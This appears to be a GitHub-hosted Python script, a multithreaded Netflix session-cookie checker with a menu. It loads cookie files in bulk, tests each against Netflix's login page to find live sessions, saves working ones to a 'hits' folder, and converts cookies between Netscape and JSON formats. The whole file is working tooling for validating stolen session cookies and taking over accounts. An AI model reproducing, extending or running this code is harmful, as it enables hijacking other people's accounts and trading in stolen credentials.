-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
260 lines (212 loc) · 8.82 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
import requests, os, colorama, shutil, keyboard, json, threading
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def checkNetscapeCookies(num_threads=1):
counts = {'hits': 0, 'bad': 0, 'errors': 0}
def checkCookie(cookie):
try:
cookie_path = os.path.join("cookies", cookie)
with open(cookie_path, 'r', encoding='utf-8') as f:
read_cookie = f.read()
cookies = {}
for line in read_cookie.splitlines():
parts = line.strip().split('\t')
if len(parts) >= 7:
domain, _, path, secure, expires, name, value = parts[:7]
cookies[name] = value
session = requests.Session()
session.cookies.update(cookies)
session.headers.update({'Accept-Encoding': 'identity'})
response = session.get("https://www.netflix.com/in/login")
if "whos.watching" in response.text:
counts['hits'] += 1
print(colorama.Fore.GREEN + f"Login successful with {cookie}" + colorama.Fore.RESET)
shutil.copy(cookie_path, os.path.join("hits", cookie))
else:
counts['bad'] += 1
print(colorama.Fore.RED + f"Login failed with {cookie}" + colorama.Fore.RESET)
except Exception as e:
counts['errors'] += 1
print(colorama.Fore.RED + f"Error: {e} with {cookie}" + colorama.Fore.RESET)
cookies = os.listdir("cookies")
def worker():
while True:
try:
cookie = cookies.pop(0)
except IndexError:
break
checkCookie(cookie)
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=worker)
threads.append(thread)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print("\n\nFinished Checking")
print(f"Good: {counts['hits']} - Bad: {counts['bad']} - Errors: {counts['errors']}")
input("Press enter to return\n")
clear_screen()
main()
def checkJsonCookies(num_threads=1):
counts = {'hits': 0, 'bad': 0, 'errors': 0}
def checkCookie(cookie_name):
try:
cookie_path = os.path.join("cookies", cookie_name)
with open(cookie_path, 'r', encoding='utf-8') as f:
cookies_json = json.load(f)
cookies = {}
for cookie in cookies_json:
name = cookie.get('name')
value = cookie.get('value')
domain = cookie.get('domain')
path = cookie.get('path')
secure = cookie.get('secure', False)
expires = cookie.get('expires', None)
if name and value and domain and path:
cookies[name] = value
session = requests.Session()
session.cookies.update(cookies)
session.headers.update({'Accept-Encoding': 'identity'})
response = session.get("https://www.netflix.com/in/login")
if "whos.watching" in response.text:
counts['hits'] += 1
print(colorama.Fore.GREEN + f"Login successful with {cookie_name}" + colorama.Fore.RESET)
shutil.copy(cookie_path, os.path.join("hits", cookie_name))
else:
counts['bad'] += 1
print(colorama.Fore.RED + f"Login failed with {cookie_name}" + colorama.Fore.RESET)
except Exception as e:
counts['errors'] += 1
print(colorama.Fore.RED + f"Error: {e} with {cookie_name}" + colorama.Fore.RESET)
cookies = os.listdir("cookies")
def worker():
while True:
try:
cookie = cookies.pop(0)
except IndexError:
break
checkCookie(cookie)
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=worker)
threads.append(thread)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print("\n\nFinished Checking")
print(f"Good: {counts['hits']} - Bad: {counts['bad']} - Errors: {counts['errors']}")
input("Press enter to return\n")
clear_screen()
main()
def convertJsonToNetscape():
print("Converting Json to Netscape...")
clear_screen()
def boolToString(s):
if s:
return "TRUE"
else:
return "FALSE"
def checkTailMatch(s):
if s[0] == ".":
return "TRUE"
return "FALSE"
cookies = os.listdir('convert')
for cookie in cookies:
try:
cookie_path = "convert/" + cookie
data = json.loads(open(cookie_path, 'r', encoding='utf-8').read())
write = open(f'converted/{cookie}', 'w', encoding='utf-8')
for x in data:
write.write(x["domain"] + '\t' + checkTailMatch(x["domain"]) + '\t' + x["path"] + '\t' + boolToString(x["secure"]) + '\t' + "0" + '\t' + x["name"] + '\t' + x["value"] + '\n')
except Exception as e:
print(f"Error: {e} with {cookie}")
continue
print("Completed converting cookies")
input("Press enter to return\n")
clear_screen()
main()
def convertNetscapeToJson():
print("Converting Netscape to Json...")
clear_screen()
def stringToBool(s):
return s.upper() == "TRUE"
cookies = os.listdir('convert')
for cookie in cookies:
try:
cookie_path = "convert/" + cookie
with open(cookie_path, 'r', encoding='utf-8') as f:
cookies_json = []
for line in f:
if line.strip() and not line.startswith("#"):
parts = line.strip().split('\t')
if len(parts) >= 7:
domain = parts[0]
tailmatch = parts[1]
path = parts[2]
secure = stringToBool(parts[3])
name = parts[5]
value = parts[6]
cookie_data = {
"domain": domain,
"tailmatch": tailmatch,
"path": path,
"secure": secure,
"name": name,
"value": value
}
cookies_json.append(cookie_data)
with open(f'converted/{cookie}', 'w', encoding='utf-8') as f:
json.dump(cookies_json, f, indent=4)
except Exception as e:
print(f"Error: {e} with {cookie}")
continue
print("Completed converting cookies")
input("Press enter to return\n")
clear_screen()
main()
def main():
print("""
_ ___ _ ___ _ _ _ _ _
|\ | |_ | |_ | | \/ / / \ / \ |/ |_ |_)
| \| |_ | | |_ _|_ /\ \_ \_/ \_/ |\ |_ | \
by https://github.com/RiyanPiro
""")
print("[1] Check Netscape Cookies")
print("[2] Check Json Cookies")
print("[3] Convert Netscape to Json")
print("[4] Convert Json to Netscape")
print("[esc] Exit")
while True:
if keyboard.is_pressed('1'):
clear_screen()
try:
num_threads = int(input("Enter number of threads (1-100): "))
if num_threads < 1 or num_threads > 100:
raise ValueError
except ValueError:
print("Invalid input")
clear_screen()
main()
checkNetscapeCookies(num_threads)
elif keyboard.is_pressed('2'):
clear_screen()
try:
num_threads = int(input("Enter number of threads (1-100): "))
if num_threads < 1 or num_threads > 100:
raise ValueError
except ValueError:
print("Invalid input")
clear_screen()
main()
checkJsonCookies(num_threads)
elif keyboard.is_pressed('3'):
convertNetscapeToJson()
elif keyboard.is_pressed('4'):
convertJsonToNetscape()
elif keyboard.is_pressed('esc'):
exit()
if __name__ == "__main__":
main()